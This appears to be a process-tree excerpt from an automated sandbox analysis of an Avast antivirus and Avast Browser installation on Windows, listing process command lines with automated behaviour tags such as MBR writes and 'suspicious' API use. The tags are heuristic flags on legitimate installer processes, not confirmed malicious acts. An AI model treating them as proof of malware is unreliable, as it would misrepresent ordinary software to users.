C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=7180,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3300,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=7224,i,1240335824786535758,10574987181757894872,262144 --variations-seed-version --mojo-platform-channel-handle=816 /prefetch:89⤵
-
-
-
-
-
C:\Program Files\Avast Software\Avast\AvEmUpdate.exe"C:\Program Files\Avast Software\Avast\AvEmUpdate.exe" /installer /reg6⤵
- Checks for any installed AV software in registry
- Checks processor information in registry
-
-
C:\Program Files\Avast Software\Avast\AvEmUpdate.exe"C:\Program Files\Avast Software\Avast\AvEmUpdate.exe" /installer6⤵
- Drops file in Drivers directory
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Drops file in Program Files directory
- Checks processor information in registry
-
-
C:\Program Files\Avast Software\Avast\x86\RegSvr.exe"C:\Program Files\Avast Software\Avast\x86\RegSvr.exe" "C:\Program Files\Avast Software\Avast\x86\aswAMSI.dll"6⤵
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies Internet Explorer settings
-
-
C:\Program Files\Avast Software\Avast\RegSvr.exe"C:\Program Files\Avast Software\Avast\RegSvr.exe" "C:\Program Files\Avast Software\Avast\aswAMSI.dll"6⤵
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
- Modifies Internet Explorer settings
-
-
C:\Program Files\Avast Software\Avast\AvastNM.exe"C:\Program Files\Avast Software\Avast\AvastNM.exe" /install6⤵
-
-
C:\Program Files\Avast Software\Avast\SetupInf.exe"C:\Program Files\Avast Software\Avast\SetupInf.exe" /catinstall:"C:\Program Files\Avast Software\Avast\setup\crts.cat" /basename:pkg_{af98c830-4f53-4176-a7b0-ec21fc603adc}.cat /crtid:D9D1E63123760F5EE0F69B6613E0933E9CBCAB116⤵
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- Checks processor information in registry
-
-
C:\Program Files\Common Files\Avast Software\Overseer\overseer.exe"C:\Program Files\Common Files\Avast Software\Overseer\overseer.exe" /skip_uptime /skip_remediations6⤵
- Writes to the Master Boot Record (MBR)
-
-
C:\Program Files\Avast Software\Avast\defs\24072602\engsup.exe"C:\Program Files\Avast Software\Avast\defs\24072602\engsup.exe" /prepare_definitions_folder6⤵
- Checks for any installed AV software in registry
- Drops file in Program Files directory
-
-
C:\Program Files\Avast Software\Avast\wsc_proxy.exe"C:\Program Files\Avast Software\Avast\wsc_proxy.exe" /svc /register /ppl_svc6⤵
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
-
C:\Program Files\Avast Software\Avast\avDump.exe"C:\Program Files\Avast Software\Avast\avDump.exe" --pid 2284 --exception_ptr 000000CE80B1E800 --thread_id 5524 --dump_level 21 --dump_file "C:\ProgramData\Avast Software\Avast\log\unp311212571655577551i-manual.mdmp" --comment "Cause: VectoredExceptionHandler Reason: sd is not loaded Dump contains a C++ exception, its pointer is stored as Parameter[3] of the exception record. Use .ecxr to see the line of exception instantiation." --min_interval 607⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
-
-
C:\Program Files\Avast Software\Avast\defs\24072602\engsup.exe"C:\Program Files\Avast Software\Avast\defs\24072602\engsup.exe" /get_latest_ga_client_id /get_latest_landingpageid_cookie /get_latest_pagedownloadid_cookie /get_latest_trpar6⤵
- Checks processor information in registry
-
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=7112 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
-
C:\Program Files (x86)\AVAST Software\Browser\Update\AvastBrowserUpdate.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\AvastBrowserUpdate.exe" /svc1⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\AVAST Software\Browser\Update\Install\{CED95E0D-220B-4BEA-9D31-5935E1FFB2FE}\AvastBrowserInstaller.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\Install\{CED95E0D-220B-4BEA-9D31-5935E1FFB2FE}\AvastBrowserInstaller.exe" --chrome --do-not-launch-chrome --hide-browser-override --show-developer-mode --suppress-first-run-bubbles --default-search-id=3 --default-search=bing.com --auto-pin-to-taskbar-on-run --adblock-mode-default=0 --no-create-user-shortcuts --make-chrome-default --force-default-win10 --auto-import-data=msedge --import-cookies --system-level2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\AVAST Software\Browser\Update\Install\{CED95E0D-220B-4BEA-9D31-5935E1FFB2FE}\CR_79B38.tmp\setup.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\Install\{CED95E0D-220B-4BEA-9D31-5935E1FFB2FE}\CR_79B38.tmp\setup.exe" --install-archive="C:\Program Files (x86)\AVAST Software\Browser\Update\Install\{CED95E0D-220B-4BEA-9D31-5935E1FFB2FE}\CR_79B38.tmp\SECURE.PACKED.7Z" --chrome --do-not-launch-chrome --hide-browser-override --show-developer-mode --suppress-first-run-bubbles --default-search-id=3 --default-search=bing.com --auto-pin-to-taskbar-on-run --adblock-mode-default=0 --no-create-user-shortcuts --make-chrome-default --force-default-win10 --auto-import-data=msedge --import-cookies --system-level3⤵
- Boot or Logon Autostart Execution: Active Setup
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies registry class
-
C:\Program Files (x86)\AVAST Software\Browser\Update\Install\{CED95E0D-220B-4BEA-9D31-5935E1FFB2FE}\CR_79B38.tmp\setup.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\Install\{CED95E0D-220B-4BEA-9D31-5935E1FFB2FE}\CR_79B38.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=fake_url --annotation=plat=Win64 --annotation=prod=Avast --annotation=ver=126.0.25558.127 --initial-client-data=0x260,0x264,0x268,0x23c,0x26c,0x7ff6241f7390,0x7ff6241f739c,0x7ff6241f73a84⤵
- Executes dropped EXE
-
-
-
-
C:\Program Files (x86)\AVAST Software\Browser\Update\1.8.1697.6\AvastBrowserCrashHandler.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\1.8.1697.6\AvastBrowserCrashHandler.exe"2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\AVAST Software\Browser\Update\1.8.1697.6\AvastBrowserCrashHandler64.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\1.8.1697.6\AvastBrowserCrashHandler64.exe"2⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"1⤵
- Executes dropped EXE
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"1⤵
- Executes dropped EXE
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"1⤵
- Executes dropped EXE
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"1⤵
-
C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"C:\Program Files\AVAST Software\Browser\Application\126.0.25558.127\elevation_service.exe"1⤵
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" /welcome1⤵
- Checks computer location settings
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=gpu-process --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --no-sandbox --disable-gpu-driver-bug-workarounds --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --gpu-preferences=SAAAAAAAAADgAABwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=6000 /prefetch:22⤵
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --lang=en-US --service-sandbox-type=utility --no-sandbox --force-wave-audio --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=8784 /prefetch:82⤵
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --lang=en-US --service-sandbox-type=none --no-sandbox --force-wave-audio --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=8812 /prefetch:82⤵
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=renderer --no-sandbox --autoplay-policy=no-user-gesture-required --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3 --mojo-platform-channel-handle=8940 /prefetch:12⤵
- Checks computer location settings
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Avast Software\Avast\VisthAux.exe"C:\Program Files\Avast Software\Avast\VisthAux.exe" /runavservice2⤵
- Checks for any installed AV software in registry
-
-
C:\Program Files\Avast Software\Avast\VisthAux.exe"C:\Program Files\Avast Software\Avast\VisthAux.exe" /runtoolsservice2⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --check-run=src=av-install2⤵
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data" --url=fake_url --annotation=plat=Win64 --annotation=prod=Avast --annotation=ver=126.0.25558.127 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffc1dea0c80,0x7ffc1dea0c8c,0x7ffc1dea0c983⤵
-
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --lang=en-US --service-sandbox-type=utility --no-sandbox --force-wave-audio --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=8844 /prefetch:82⤵
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --lang=en-US --service-sandbox-type=none --no-sandbox --force-wave-audio --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=8728 /prefetch:82⤵
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --lang=en-US --service-sandbox-type=utility --no-sandbox --force-wave-audio --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=8836 /prefetch:82⤵
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --lang=en-US --service-sandbox-type=none --no-sandbox --force-wave-audio --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=8824 /prefetch:82⤵
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --lang=en-US --service-sandbox-type=utility --no-sandbox --force-wave-audio --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=4000 /prefetch:82⤵
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --lang=en-US --service-sandbox-type=none --no-sandbox --force-wave-audio --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=8728 /prefetch:82⤵
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --lang=en-US --service-sandbox-type=none --no-sandbox --force-wave-audio --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=9220 /prefetch:82⤵
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --lang=en-US --service-sandbox-type=none --no-sandbox --force-wave-audio --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=5456 /prefetch:82⤵
-
-
C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=6216,4524460484940564245,1698106696440086025,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SameSiteDefaultChecksMethodRigorously --lang=en-US --service-sandbox-type=utility --no-sandbox --force-wave-audio --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --log-severity=error --user-agent="Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.3.3626.1895 Safari/537.36 Avastium (0.0.0) (Windows 10.0)" --lang=en-US --disable-webaudio --force-wave-audio --disable-software-rasterizer --no-sandbox --blacklist-accelerated-compositing --disable-accelerated-2d-canvas --disable-accelerated-compositing --disable-accelerated-layers --disable-accelerated-video-decode --blacklist-webgl --disable-bundled-ppapi-flash --disable-flash-3d --enable-aggressive-domstorage-flushing --enable-media-stream --disable-gpu --disable-webgl --disable-gpu-compositing --allow-file-access-from-files=1 --pack_loading_disabled=1 --log-file="C:\Users\Admin\AppData\Roaming\Avast Software\Avast\log\cef_log.txt" --mojo-platform-channel-handle=9244 /prefetch:82⤵
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {24AC8F2B-4D4A-4C17-9607-6A4B14068F97} -Embedding1⤵
-
